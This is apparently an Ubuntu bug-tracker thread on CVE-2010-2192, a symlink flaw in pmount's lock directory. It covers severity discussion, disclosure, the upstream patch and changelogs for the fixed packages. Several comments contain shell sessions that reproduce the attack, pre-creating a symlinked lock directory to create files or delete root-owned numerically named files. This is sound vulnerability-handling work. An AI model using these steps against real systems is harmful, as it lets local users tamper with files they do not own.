Symlink attacks possible with pmount

Dan, I can confirm this, but I don't see that pmount is altering the contents of the file if it already exists. Eg:
$ cat /etc/foo
test
$ stat /etc/foo
  File: `/etc/foo'
  Size: 5 Blocks: 8 IO Block: 4096 regular file
Device: fb01h/64257d Inode: 135724 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2010-06-05 12:07:30.580581903 +0000
Modify: 2010-06-05 12:05:57.868006989 +0000
Change: 2010-06-05 12:05:57.868006989 +0000

$ mkdir /var/lock/pmount_dev_sr0
$ ls -ld /var/lock/pmount_dev_sr0/
drwxr-xr-x 2 jamie jamie 40 2010-06-05 12:12 /var/lock/pmount_dev_sr0/

$ ln -s /etc/foo /var/lock/pmount_dev_sr0/1
$ ls -l /var/lock/pmount_dev_sr0/1
lrwxrwxrwx 1 jamie jamie 8 2010-06-05 12:13 /var/lock/pmount_dev_sr0/1 -> /etc/foo

$ pmount --lock /dev/sr0 1

$ cat /etc/foo
test
$ stat /etc/foo
  File: `/etc/foo'
  Size: 5 Blocks: 8 IO Block: 4096 regular file
Device: fb01h/64257d Inode: 135724 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2010-06-05 12:07:30.580581903 +0000
Modify: 2010-06-05 12:05:57.868006989 +0000
Change: 2010-06-05 12:05:57.868006989 +0000

I think I would characterize this as a 'Low' issue. A local attacker in the 'plugdev' group on Ubuntu could create things like /forcefsck or maybe fiddle with files in /var to DoS applications (eg, sockets, named pipes, etc).

(and additionally your observation about removing arbitrary files with a numeric name).

Dan, actually I can't reproduce the file delete on Lucid. I get:
$ pmount --unlock /dev/sr0 1
Error: do_unlock: could not remove lock directory: Not a directory
$ ls -l /var/lock
total 0
drwxr-xr-x 2 root root 40 2010-06-05 12:07 pmount
lrwxrwxrwx 1 jamie jamie 4 2010-06-05 12:49 pmount_dev_sr0 -> /tmp

What version were you testing?

I tested with pmount 0.9.20-2.

You're correct that you can't alter existing files - only create new files and delete numeric-named files. You can reproduce the deletion as follows:

root@Dan:~# touch /etc/1
root@Dan:~# stat /etc/1
  File: `/etc/1'
  Size: 0 Blocks: 0 IO Block: 4096 regular empty file
Device: 801h/2049d Inode: 2936455 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2010-06-05 09:53:12.000000000 -0400
Modify: 2010-06-05 09:53:12.000000000 -0400
Change: 2010-06-05 09:53:12.000000000 -0400
root@Dan:~# su drosenbe
drosenbe@Dan:/root$ cd /var/lock/
drosenbe@Dan:/var/lock$ mkdir pmount_dev_sr0
drosenbe@Dan:/var/lock$ pmount --lock /dev/sr0 1
drosenbe@Dan:/var/lock$ rm -rf pmount_dev_sr0/
drosenbe@Dan:/var/lock$ ln -s /etc/ pmount_dev_sr0
drosenbe@Dan:/var/lock$ pmount --unlock /dev/sr0 1
Error: do_unlock: could not remove lock directory: Not a directory
drosenbe@Dan:/var/lock$ stat /etc/1
stat: cannot stat `/etc/1': No such file or directory

I agree with the low severity of this issue - it's mostly just an annoyance.

Oh heh, duh. That is exactly what I did and the file *is* gone. I saw the error and forgot to check the file. :)

Email sent to Debian maintainer and vsec with a CRD of 2010-06-16.

This is now public.

This is CVE-2010-2192. Attached is the patch from upstream.

From upstream:
"The solution is very simple: put the locks in /var/lib/pmount-locks.
As /var/lib is not world-writable, there is no risk of a user
intercepting /var/lib/pmount-locks before pmount creates it. This is
what the attached patch does, and the best thing is that there won't
even be needs for postinst scripts with this solution."

Since the package referred to in this bug is in universe for supported releases (it is in main in 6.06 LTS, but official desktop support for Dapper has ended), it is community maintained. If someone is able, I suggest posting a debdiff for this issue. When a debdiff is available, members of the security team will review it and publish the package. See the following link for more information: https://wiki.ubuntu.com/SecurityTeam/UpdateProcedures

Here is the debdiff I've used for upload to Debian stable security. Adapting to Ubuntu is just a matter of changing the changelog; patches should apply cleanly to all versions of pmount I know of.

Maverick is not vulnerable to this flaw due to the link protections in the kernel.

Removing ubuntu-security-sponsors since there are not debdiffs available for processing.

While pmount on Dapper is in main, it is no longer actively supported (Dapper desktop is EOL). Marking Won't Fix.

Jaunty was fixed in 0.9.18-2+lenny1build0.9.04.1.

Processed patch for hardy, karmic and lucid and uploaded to the ubuntu-security ppa.

This bug was fixed in the package pmount - 0.9.20-2ubuntu0.1

---------------
pmount (0.9.20-2ubuntu0.1) lucid-security; urgency=low

  * SECURITY UPDATE: 02-fix-CVE-2010-2192.dpatch to fix a security hole,
    referenced as CVE-2010-2192. Patch thanks to Vincent Fourmond (Debian).
    - LP: #574809
 -- Jamie Strandboge <email address hidden> Fri, 13 Aug 2010 13:58:47 -0500

This bug was fixed in the package pmount - 0.9.19-1ubuntu0.1

---------------
pmount (0.9.19-1ubuntu0.1) karmic-security; urgency=low

  * SECURITY UPDATE: 02-fix-CVE-2010-2192.dpatch to fix a security hole,
    referenced as CVE-2010-2192. Patch thanks to Vincent Fourmond (Debian).
    - LP: #574809
 -- Jamie Strandboge <email address hidden> Fri, 13 Aug 2010 13:57:54 -0500

This bug was fixed in the package pmount - 0.9.16-4ubuntu0.1

---------------
pmount (0.9.16-4ubuntu0.1) hardy-security; urgency=low

  * SECURITY UPDATE: 02-fix-CVE-2010-2192.dpatch to fix a security hole,
    referenced as CVE-2010-2192. Patch thanks to Vincent Fourmond (Debian).
    - LP: #574809
 -- Jamie Strandboge <email address hidden> Fri, 13 Aug 2010 13:55:17 -0500